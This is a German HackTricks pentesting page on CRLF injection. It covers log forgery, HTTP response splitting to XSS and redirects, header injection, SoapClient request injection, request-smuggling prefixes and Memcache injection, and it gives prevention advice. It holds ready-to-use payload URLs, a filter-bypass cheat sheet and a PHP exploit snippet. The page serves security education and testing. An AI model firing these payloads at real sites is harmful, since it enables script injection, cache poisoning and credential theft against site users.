# CRLF (%0D%0A) Injection
Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github Repositories einreichen.
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie uns noch heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginnen Sie, Prämien von bis zu **100.000 $** zu verdienen! {% embed url="https://go.intigriti.com/hacktricks" %} ### CRLF Carriage Return (CR) und Line Feed (LF), zusammen als CRLF bekannt, sind spezielle Zeichenfolgen, die im HTTP-Protokoll verwendet werden, um das Ende einer Zeile oder den Beginn einer neuen zu kennzeichnen. Webserver und Browser verwenden CRLF, um zwischen HTTP-Headern und dem Body einer Antwort zu unterscheiden. Diese Zeichen werden universell in HTTP/1.1-Kommunikationen über verschiedene Webserver-Typen wie Apache und Microsoft IIS eingesetzt. ### CRLF-Injektionsanfälligkeit Bei der CRLF-Injektion werden CR- und LF-Zeichen in benutzergesteuerte Eingaben eingefügt. Diese Aktion führt dazu, dass der Server, die Anwendung oder der Benutzer die injizierte Sequenz als Ende einer Antwort und den Beginn einer anderen interpretieren. Obwohl diese Zeichen an sich nicht schädlich sind, kann ihr Missbrauch zu HTTP-Response-Splitting und anderen bösartigen Aktivitäten führen. ### Beispiel: CRLF-Injektion in einer Protokolldatei [Beispiel von hier](https://www.invicti.com/blog/web-security/crlf-http-header/) Betrachten Sie eine Protokolldatei in einem Admin-Panel, die das Format `IP - Zeit - Besuchter Pfad` hat. Ein typischer Eintrag könnte aussehen: ``` 123.123.123.123 - 08:15 - /index.php?page=home ``` Ein Angreifer kann eine CRLF-Injektion ausnutzen, um dieses Protokoll zu manipulieren. Indem CRLF-Zeichen in die HTTP-Anfrage eingefügt werden, kann der Angreifer den Ausgabestrom verändern und Protokolleinträge fälschen. Zum Beispiel könnte eine injizierte Sequenz den Protokolleintrag in folgendes umwandeln: ``` /index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` Hier stellen `%0d` und `%0a` die URL-codierten Formen von CR und LF dar. Nach dem Angriff würde das Protokoll irreführend anzeigen: ``` IP - Time - Visited Path 123.123.123.123 - 08:15 - /index.php?page=home& 127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit ``` Der Angreifer tarnt somit seine bösartigen Aktivitäten, indem er es so aussehen lässt, als ob der localhost (eine in der Serverumgebung typischerweise vertrauenswürdige Entität) die Aktionen ausgeführt hat. Der Server interpretiert den Teil der Abfrage, der mit `%0d%0a` beginnt, als einzelnen Parameter, während der Parameter `restrictedaction` als separate Eingabe geparst wird. Die manipulierte Abfrage ahmt effektiv einen legitimen administrativen Befehl nach: `/index.php?page=home&restrictedaction=edit` ### HTTP-Response-Splitting #### Beschreibung HTTP-Response-Splitting ist eine Sicherheitslücke, die auftritt, wenn ein Angreifer die Struktur von HTTP-Antworten ausnutzt. Diese Struktur trennt Header vom Body mithilfe einer spezifischen Zeichenfolge, Carriage Return (CR) gefolgt von Line Feed (LF), zusammen als CRLF bezeichnet. Wenn es einem Angreifer gelingt, eine CRLF-Sequenz in einen Antwort-Header einzufügen, kann er effektiv den nachfolgenden Antwortinhalt manipulieren. Diese Art der Manipulation kann zu schwerwiegenden Sicherheitsproblemen führen, insbesondere Cross-Site-Scripting (XSS). #### XSS durch HTTP-Response-Splitting 1. Die Anwendung setzt einen benutzerdefinierten Header wie folgt: `X-Custom-Header: UserInput` 2. Die Anwendung ruft den Wert für `UserInput` aus einem Abfrageparameter ab, sagen wir "user\_input". In Szenarien ohne ordnungsgemäße Eingabevalidierung und Codierung kann ein Angreifer ein Payload erstellen, der die CRLF-Sequenz sowie bösartigen Inhalt enthält. 3. Ein Angreifer erstellt eine URL mit einem speziell erstellten 'user\_input': `?user_input=Value%0d%0a%0d%0a` * In dieser URL ist `%0d%0a%0d%0a` die URL-codierte Form von CRLFCRLF. Es täuscht den Server, eine CRLF-Sequenz einzufügen, sodass der Server den nachfolgenden Teil als Antwort-Body behandelt. 4. Der Server spiegelt die Eingabe des Angreifers im Antwort-Header wider, was zu einer unbeabsichtigten Antwortstruktur führt, in der das bösartige Skript vom Browser als Teil des Antwortbodys interpretiert wird. #### Ein Beispiel für HTTP-Response-Splitting, das zu einer Weiterleitung führt Von [https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62](https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62) Browser zu: ``` /%0d%0aLocation:%20http://myweb.com ``` Und der Server antwortet mit dem Header: ``` Location: http://myweb.com ``` **Anderes Beispiel: (von** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)** ``` http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E ``` #### Im URL-Pfad Sie können das Payload **im URL-Pfad** senden, um die **Antwort** vom Server zu kontrollieren (Beispiel von [hier](https://hackerone.com/reports/192667)): ``` http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E ``` Überprüfen Sie weitere Beispiele unter: {% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %} ### HTTP Header Injection HTTP-Header-Injection, oft durch CRLF (Carriage Return und Line Feed) Injection ausgenutzt, ermöglicht es Angreifern, HTTP-Header einzufügen. Dies kann Sicherheitsmechanismen wie XSS (Cross-Site Scripting)-Filter oder die SOP (Same-Origin Policy) untergraben und möglicherweise zu unbefugtem Zugriff auf sensible Daten wie CSRF-Token oder zur Manipulation von Benutzersitzungen durch das Platzieren von Cookies führen. #### Ausnutzen von CORS über HTTP-Header-Injection Ein Angreifer kann HTTP-Header injizieren, um CORS (Cross-Origin Resource Sharing) zu aktivieren und die von SOP auferlegten Beschränkungen zu umgehen. Dieser Verstoß ermöglicht es Skripten aus bösartigen Quellen, mit Ressourcen aus einer anderen Quelle zu interagieren und potenziell auf geschützte Daten zuzugreifen. #### SSRF und HTTP-Request-Injection über CRLF CRLF-Injection kann genutzt werden, um eine vollständig neue HTTP-Anfrage zu erstellen und einzufügen. Ein bemerkenswertes Beispiel hierfür ist die Schwachstelle in der PHP-Klasse `SoapClient`, speziell im Parameter `user_agent`. Durch die Manipulation dieses Parameters kann ein Angreifer zusätzliche Header und Body-Inhalte einfügen oder sogar eine völlig neue HTTP-Anfrage injizieren. Nachfolgend ein PHP-Beispiel, das diese Ausnutzung demonstriert: ```php $target = 'http://127.0.0.1:9090/test'; $post_string = 'variable=post value'; $crlf = array( 'POST /proxy HTTP/1.1', 'Host: local.host.htb', 'Cookie: PHPSESSID=[PHPSESSID]', 'Content-Type: application/x-www-form-urlencoded', 'Content-Length: '.(string)strlen($post_string), "\r\n", $post_string ); $client = new SoapClient(null, array( 'uri'=>$target, 'location'=>$target, 'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf) ) ); # Put a netcat listener on port 9090 $client->__soapCall("test", []); ``` ### Header Injection für Request Smuggling Für weitere Informationen zu dieser Technik und möglichen Problemen [**überprüfen Sie die Originalquelle**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning). Sie können wichtige Header injizieren, um sicherzustellen, dass das **Back-End die Verbindung offen hält**, nachdem es auf die erste Anfrage geantwortet hat: ``` GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1 ``` Nachfolgend kann ein zweiter Request spezifiziert werden. Dieses Szenario beinhaltet in der Regel [HTTP Request Smuggling](http-request-smuggling/), eine Technik, bei der zusätzliche Header oder Body-Elemente, die vom Server nach der Injektion angehängt werden, zu verschiedenen Sicherheitslücken führen können. **Ausnutzung:** 1. **Bösartige Präfix-Injektion**: Diese Methode beinhaltet das Vergiften des nächsten Benutzerrequests oder eines Webcaches durch Angabe eines bösartigen Präfixes. Ein Beispiel hierfür ist: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%a HTTP/1.1` 2. **Erstellen eines Präfix für die Vergiftung der Antwortwarteschlange**: Dieser Ansatz beinhaltet das Erstellen eines Präfixes, der in Kombination mit abschließendem Müll eine vollständige zweite Anfrage bildet. Dies kann die Vergiftung der Antwortwarteschlange auslösen. Ein Beispiel hierfür ist: `GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1` ### Memcache-Injektion Memcache ist ein **Schlüssel-Wert-Speicher, der ein Klartextprotokoll verwendet**. Weitere Informationen unter: {% content-ref url="../network-services-pentesting/11211-memcache/" %} [11211-memcache](../network-services-pentesting/11211-memcache/) {% endcontent-ref %} **Für die vollständigen Informationen lesen Sie das** [**ursprüngliche Writeup**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/) Wenn eine Plattform **Daten aus einem HTTP-Request entnimmt und ohne Bereinigung** zur Ausführung von **Anfragen** an einen **Memcache**-Server verwendet, könnte ein Angreifer dieses Verhalten ausnutzen, um **neue Memcache-Befehle einzufügen**. Beispielsweise wurden in der ursprünglich entdeckten Schwachstelle Cache-Keys verwendet, um die IP und den Port zurückzugeben, mit denen sich ein Benutzer verbinden sollte, und Angreifer konnten **Memcache-Befehle einfügen**, die den **Cache vergiften**, um die Details der Opfer (Benutzernamen und Passwörter eingeschlossen) an die Angreifer-Server zu senden:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/ba72cd16-2ca0-447b-aa70-5cde302a0b88/body-578d9f9f-1977-4e34-841c-ad870492328f_10.png?w=1322&h=178&auto=format&fit=crop
Darüber hinaus stellten Forscher fest, dass sie die Memcache-Antworten desynchronisieren konnten, um die IP-Adressen und Ports der Angreifer an Benutzer zu senden, deren E-Mail-Adresse der Angreifer nicht kannte:
https://assets-eu-01.kc-usercontent.com/d0f02280-9dfb-0116-f970-137d713003b6/c6c1f3c4-d244-4bd9-93f7-2c88f139acfa/body-3f9ceeb9-3d6b-4867-a23f-e0e50a46a2e9_14.png?w=1322&h=506&auto=format&fit=crop
### Wie man CRLF / HTTP-Header-Injektionen in Webanwendungen verhindert Um die Risiken von CRLF (Carriage Return und Line Feed) oder HTTP-Header-Injektionen in Webanwendungen zu minimieren, werden folgende Strategien empfohlen: 1. **Direkte Benutzereingabe in Antwort-Headern vermeiden:** Der sicherste Ansatz besteht darin, Benutzereingaben nicht direkt in Antwort-Headern zu integrieren. 2. **Kodierung von Sonderzeichen:** Wenn das Vermeiden direkter Benutzereingaben nicht möglich ist, stellen Sie sicher, dass eine Funktion zur Kodierung von Sonderzeichen wie CR (Carriage Return) und LF (Line Feed) verwendet wird. Diese Praxis verhindert die Möglichkeit einer CRLF-Injektion. 3. **Aktualisierung der Programmiersprache:** Aktualisieren Sie regelmäßig die in Ihren Webanwendungen verwendete Programmiersprache auf die neueste Version. Wählen Sie eine Version, die von Natur aus die Injektion von CR- und LF-Zeichen innerhalb von Funktionen, die für das Setzen von HTTP-Headern zuständig sind, nicht zulässt. ### CHEATSHEET [Cheatsheet hier verfügbar](https://twitter.com/NinadMishra5/status/1650080604174667777) ``` 1. HTTP Response Splitting • /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie) 2. CRLF chained with Open Redirect • //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2 • /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2 • /google.com/%2F..%0D%0AHeader-Test:test2 • /%0d%0aLocation:%20http://example.com 3. CRLF Injection to XSS • /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23 • /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E 4. Filter Bypass • %E5%98%8A = %0A = \u560a • %E5%98%8D = %0D = \u560d • %E5%98%BE = %3E = \u563e (>) • %E5%98%BC = %3C = \u563c (<) • Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test ``` ## Automatische Tools * [https://github.com/Raghavd3v/CRLFsuite](https://github.com/Raghavd3v/CRLFsuite) * [https://github.com/dwisiswant0/crlfuzz](https://github.com/dwisiswant0/crlfuzz) ## Brute-Force-Erkennungsliste * [https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt](https://github.com/carlospolop/Auto\_Wordlists/blob/main/wordlists/crlf.txt) ## Referenzen * [**https://www.invicti.com/blog/web-security/crlf-http-header/**](https://www.invicti.com/blog/web-security/crlf-http-header/) * [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/) * [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning) * [**https://www.netsparker.com/blog/web-security/crlf-http-header/**](https://www.netsparker.com/blog/web-security/crlf-http-header/)
**Bug-Bounty-Tipp**: **Melden Sie sich an** bei **Intigriti**, einer Premium-**Bug-Bounty-Plattform, die von Hackern für Hacker erstellt wurde**! Treten Sie noch heute bei [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) bei und beginnen Sie, Prämien von bis zu **$100.000** zu verdienen! {% embed url="https://go.intigriti.com/hacktricks" %}
Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.